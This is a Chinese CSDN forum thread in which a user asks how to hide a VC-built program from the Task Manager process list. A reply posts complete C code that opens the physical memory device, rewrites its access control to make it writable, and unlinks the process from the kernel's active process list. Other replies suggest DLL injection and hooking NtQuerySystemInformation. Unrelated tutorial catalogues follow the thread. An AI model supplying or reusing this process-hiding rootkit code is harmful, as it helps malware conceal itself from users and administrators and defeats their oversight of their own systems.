VC开发的程序如何在任务管理器的进程中隐藏

hzy694358 2009-06-20 07:51:29
VC开发的程序如何在任务管理器的进程中隐藏。
就是不让他在任务管理器的进程列表中显示出来
...全文
452 13 打赏 收藏 转发到动态 举报
写回复
用AI写文章
13 条回复
切换为时间正序
请发表友善的回复…
发表回复
danxuezx 2009-07-03
  • 打赏
  • 举报
回复
[Quote=引用 4 楼 hzy694358 的回复:]
你说的dll注入,是什么意思,能解释清楚点吗,谢谢
[/Quote]
http://www.cppblog.com/cjz/archive/2007/08/12/29819.aspx
sunrl1985 2009-07-03
  • 打赏
  • 举报
回复
估计NT内核不行把,要隐藏只能把Dll注入别的进程里运行
路人乙2019 2009-06-22
  • 打赏
  • 举报
回复
二楼写明白了.
chenhui530 2009-06-22
  • 打赏
  • 举报
回复
vc搞这个非常简单的,就算不写驱动不用dll都还是简单。
自己写段shellcode hook NtQuerySystemInformation就可以了
allix123 2009-06-21
  • 打赏
  • 举报
回复
up
litomboy 2009-06-21
  • 打赏
  • 举报
回复
这是2K环境下的,不知道在XP环境下还好用吗?
yoyo81824 2009-06-21
  • 打赏
  • 举报
回复
学习了,谢谢!
zoulie 2009-06-21
  • 打赏
  • 举报
回复
不过过不了杀软,都会拦截的
zoulie 2009-06-21
  • 打赏
  • 举报
回复
就是远程线程,步骤可看下windows 核心编程里的 好像是22章里有具体的例子
hzy694358 2009-06-21
  • 打赏
  • 举报
回复
你说的dll注入,是什么意思,能解释清楚点吗,谢谢
neohope 2009-06-20
  • 打赏
  • 举报
回复
最好是dll注入,退出主进程
nishinagea 2009-06-20
  • 打赏
  • 举报
回复
想做病毒?
一笑拔剑 2009-06-20
  • 打赏
  • 举报
回复

#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>
//Powered by barenx
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
...{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
...{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
...{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;

BOOL InitNTDLL()
...{
g_hNtDLL = LoadLibrary( "ntdll.dll" );
if ( !g_hNtDLL )
...{
return FALSE;
}

RtlInitUnicodeString =
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

ZwOpenSection =
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

return TRUE;
}

VOID CloseNTDLL()
...{
if(g_hNtDLL != NULL)
...{
FreeLibrary(g_hNtDLL);
}
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
...{

PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;

if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
...{
goto CleanUp;
}

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";


if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
...{
goto CleanUp;
}

if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
...{
goto CleanUp;
}

CleanUp:

if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
...{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;

RtlInitUnicodeString( &physmemString, L"\Device\PhysicalMemory" );

attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;

status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

if(status == STATUS_ACCESS_DENIED)...{
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status =ZwOpenSection(&g_hMPM,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&attributes);
}

if( !NT_SUCCESS( status ))
...{
return NULL;
}

g_pMapPhysicalMemory = MapViewOfFile(
g_hMPM,
4,
0,
0x30000,
0x1000);
if( g_pMapPhysicalMemory == NULL )
...{
return NULL;
}

return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
...{
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
PGDE=BaseAddress[VAddr>>22];
if ((PGDE&1)!=0)
...{
ULONG tmp=PGDE&0x00000080;
if (tmp!=0)
...{
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
}
else
...{
PGDE=(ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
if ((PTE&1)!=0)
...{
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
UnmapViewOfFile((PVOID)PGDE);
}
else return 0;
}
}
else return 0;

return (PVOID)PAddr;
}

ULONG GetData(PVOID addr)
...{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return 0;
ULONG ret=tmp[(phys & 0xFFF)>>2];
UnmapViewOfFile(tmp);
return ret;
}

BOOL SetData(PVOID addr,ULONG data)
...{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return FALSE;
tmp[(phys & 0xFFF)>>2]=data;
UnmapViewOfFile(tmp);
return TRUE;
}

BOOL HideProcessAtAll()
...{
if (InitNTDLL())
...{
if (OpenPhysicalMemory()==0)
...{
return FALSE;
}
ULONG thread=GetData((PVOID)0xFFDFF124);
ULONG process=GetData(PVOID(thread+0x22c));
ULONG fw=GetData(PVOID(process+0xa0)),bw=GetData(PVOID(process+0xa4));
SetData(PVOID(fw+4),bw);
SetData(PVOID(bw),fw);
CloseHandle(g_hMPM);
CloseNTDLL();
}
return TRUE;
}

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/barenx/archive/2008/03/28/2224325.aspx
觉得可以作为平常的参考,对初学者或许有点帮助吧 内容: 第一章 窗口的动画效果 带有工具栏的对话框 单文档启动界面 实现全屏显示 实现透明窗体 为对话框程序制作真彩色启动界面 为对话框添加右键菜单 为应用程序添加多语言菜单 隐藏应用程序在任务栏上的显示 在窗口使用多个视图类 动态切分窗口 第二章 捕获鼠标绘图 捕捉屏幕图像 获取屏幕上颜色 界面上实现3D文字 列举当前系统的字体 判知BMP图片的大小 图片的伸缩显示 显示资源位图 游览大图 第三章 CArray类的应用 CListCtrl 控件的应用 IP Address控件编辑IP地址 Slider控件的应用 动态创建文本框控件 改变控件的字体颜色 用CColorDialog类选择颜色 用CFileDialog类选择文件 用静态标签控件显示当前时间 字符串的查找和提取 第四章 ActiveX连接数据库 ADO控制Access数据库 基于单文档的数据库浏览 用DAO在数据库执行SQL语句 在程序创建ODBC数据源 第五章 VC实现Flash动画播放 VC实现WAV文件播放器 创建CD播放器 利用VC实现OPENGL编程 用playsound播放声音文件 用VC制作简单AVI文件播放器 第六章 获取网卡地址 自动升级程序 获得主机名和IP地址 端口扫描程序 在IE工具栏加入快捷图标 简单浏览器开发 FTP客户端开发 一种简单的proxy程序 聊天室客户端程序开发 聊天室服务器端开发 第七章 报表与打印演示 程序互斥运行 定时关机 读写INI文件 删除目录及子目录文件 文件查找 文件分割 文件加密 文件浏览器 用树型控件列出文件夹 第八章 cdrom控制 cpu和mouse信息 USB编程 测试cpu速度 检测键盘按键 列出进程 鼠标钩子编程 系统信息获取 注册表编程 第九章 CHM COM编程获取表单域信息 SMTP客户端程序 五子棋游戏 学生成绩管理系统
VC6界面类编程小实例\A Drag and Drop List Control.doc ...................\MFC窗口位置管理详细分析及实例.doc ...................\Toolbar制作菜单条过程详解.doc ...................\VC++6.0定制窗口的方法.doc ...................\VC++MFC窗口对象的清除.doc ...................\VC++任务栏提示区图标的实现.doc ...................\VC++动态加入和删除菜单的方法.doc ...................\VC++环境下浮动工具条的编程.doc ...................\VC++环境下菜单和工具栏的动态修改技术.doc ...................\VC如何捕获和释放鼠标.doc ...................\VC控件 TreeCtrl 与 ListCtrl 演示.doc ...................\VC界面编程总结.doc ...................\VC编程如何在界面上实现3D文字.doc ...................\VC编程实现IE风格的界面.doc ...................\VC编程实现IE风格的界面之叙述.doc ...................\VC设计分割视图通用创建框架.doc ...................\VC通用控件编程之CImageList控件.doc ...................\Visual C++位图按钮的新颖设计.doc ...................\Visual C++实现对图像数据的读取显示.doc ...................\Visual C++的图形特技.doc ...................\Visual C++模态对话框消息处理机制的分析.doc ...................\Visual C++窗体设计技巧集.doc ...................\Visual C++窗口标题改变的几种方法.doc ...................\Windows 界面设计:拉帘按钮设计.doc ...................\XListBox-自画条目背景和文字颜色的listbox控件.doc ...................\XP风格控件界面库.doc ...................\一个功能强大的MFC界面处理扩展库:CJ60Lib.doc ...................\一个屏幕捕捉的例子.doc ...................\一段使窗口透明的代码(仅适用于2000).doc ...................\一种漂亮的自绘菜单.doc ...................\为CListBox加上智能水平滚动条.doc ...................\为列表控件添加水平滚动条.doc ...................\为对话框程序添加工具条和状态栏.doc ...................\从资源加载皮肤, 使用免费界面库 AppFace For VC 0.2 美化您的软件.doc ...................\位图文件读写综述.doc ...................\使用CRectTracker类进行对象动态定位.doc ...................\使用CTabCtrl控件实现属性页功能.doc ...................\使用测试优先方法开发用户界面.doc ...................\关于内存DC绘图防止屏幕闪烁说明.doc ...................\创建有个性的对话框之MFC篇.doc ...................\利用VC编程在界面上实现3D文字.doc ...................\利用钩子实现菜单阴影效果.doc ...................\制作 MSN、QQ 的消息提示窗口.doc ...................\单文档与多视的实现方法.doc ...................\图像平滑滚动效果的VC实现.doc ...................\在(CListView)列表视图添加右键菜单.doc ...................\在ATL Browser Helper对象使用WTL TreeView.doc ...................\在SDI MDI程序的工具条上加入漂亮的标题头.doc ...................\在VC++6.0开发实现全屏显示.doc ...................\在VC下显示JPEG、GIF格式图像的一种简便方法.doc ...................\在VC用CMenuXP使应用程序拥有Office XP风格的界面.doc ...................\在VC透明浮动按键的实现.doc ...................\在Windows95,98实现苹果窗口界面.doc ...................\在单文档添加系统菜单项.doc ...................\在单文档程序动态切换多个窗体.doc ...................\在对话框上加超链接.doc ...................\在类VC的界面实现加入目录树.doc ...................\在视图同步显示鼠标的位置.doc ...................\如何创建一个不规则形状的窗口.doc ...................\如何创建无模式对话框.doc ...................\如何创建有模式对话框.doc ...................\如何制作弹出式菜单.doc ...................\如何在VC改变控件的背景色.doc ...................\如何在状态条加入图像.doc ...................\如何模拟《WORD》的窗口形式.doc ...................\如何编写类似于Word97的工具栏.doc ...................\如何隐藏显示在任务栏的对话框程序.doc ...................\实现带阴影弹出的窗口.doc ...................\实现真正的Windows屏幕保护程序.doc ...................\对CXPStyleButtonST的改造.doc ...................\对话框隐藏的几种方法.doc ...................\带有菜单的EDIT控件实现.doc ...................\平面、带图片的按钮.doc ...................\扩展COleDropTarget类来支持任意窗口拖放.doc ...................\拖拉机客户端任务书.doc ...................\数据库开发之窗体编程.doc ...................\文档与视图的建立和关联.doc ...................\无闪烁刷屏技术的实现.doc ...................\显示作为窗口或对话框背景的位图.doc ...................\最简单的界面增强库EasySkin.doc ...................\树视控件在多文档的使用.doc ...................\根据文本串的长度改变窗口的大小.doc ...................\用MFC对话框做无闪烁图片重绘.doc ...................\用SDK实现分隔条.doc ...................\用VC++制作有滚动字幕效果的软件封面.doc ...................\用VC设计托盘图标程序.doc ...................\用Visual C++实现带阴影弹出窗口的技术.doc ...................\用户界面设计的技巧与技术.doc ...................\百叶窗式面板组.doc ...................\窗口类的诞生.doc ...................\类似Vc和Outlook的界面.doc ...................\编程打开特殊的系统窗口.doc ...................\自绘菜单的实现.doc ...................\自绘边框窗口.doc ...................\让对话框显示背景图.doc ...................\谈VC++的Progress控件的使用.doc
运行的通用环境:Win9x/NT/2000/XP +ACCESS数据库 第一章 窗口的动画效果 带有工具栏的对话框 单文档启动界面 实现全屏显示 实现透明窗体 为对话框程序制作真彩色启动界面 为对话框添加右键菜单 为应用程序添加多语言菜单 隐藏应用程序在任务栏上的显示 在窗口使用多个视图类 动态切分窗口 第二章 捕获鼠标绘图 捕捉屏幕图像 获取屏幕上颜色 界面上实现3D文字 列举当前系统的字体 判知BMP图片的大小 图片的伸缩显示 显示资源位图 游览大图 第三章 CArray类的应用 CListCtrl 控件的应用 IP Address控件编辑IP地址 Slider控件的应用 动态创建文本框控件 改变控件的字体颜色 用CColorDialog类选择颜色 用CFileDialog类选择文件 用静态标签控件显示当前时间 字符串的查找和提取 第四章 ActiveX连接数据库 ADO控制Access数据库 基于单文档的数据库浏览 用DAO在数据库执行SQL语句 在程序创建ODBC数据源 第五章 VC实现Flash动画播放 VC实现WAV文件播放器 创建CD播放器 利用VC实现OPENGL编程 用playsound播放声音文件 用VC制作简单AVI文件播放器 第六章 获取网卡地址 自动升级程序 获得主机名和IP地址 端口扫描程序 在IE工具栏加入快捷图标 简单浏览器开发 FTP客户端开发 一种简单的proxy程序 聊天室客户端程序开发 聊天室服务器端开发 第七章 报表与打印演示 程序互斥运行 定时关机 读写INI文件 删除目录及子目录文件 文件查找 文件分割 文件加密 文件浏览器 用树型控件列出文件夹 第八章 cdrom控制 cpu和mouse信息 USB编程 测试cpu速度 检测键盘按键 列出进程 鼠标钩子编程 系统信息获取 注册表编程 第九章 CHM COM编程获取表单域信息 SMTP客户端程序 五子棋游戏 学生成绩管理系统

15,471

社区成员

发帖
与我相关
我的任务
社区描述
VC/MFC 进程/线程/DLL
社区管理员
  • 进程/线程/DLL社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧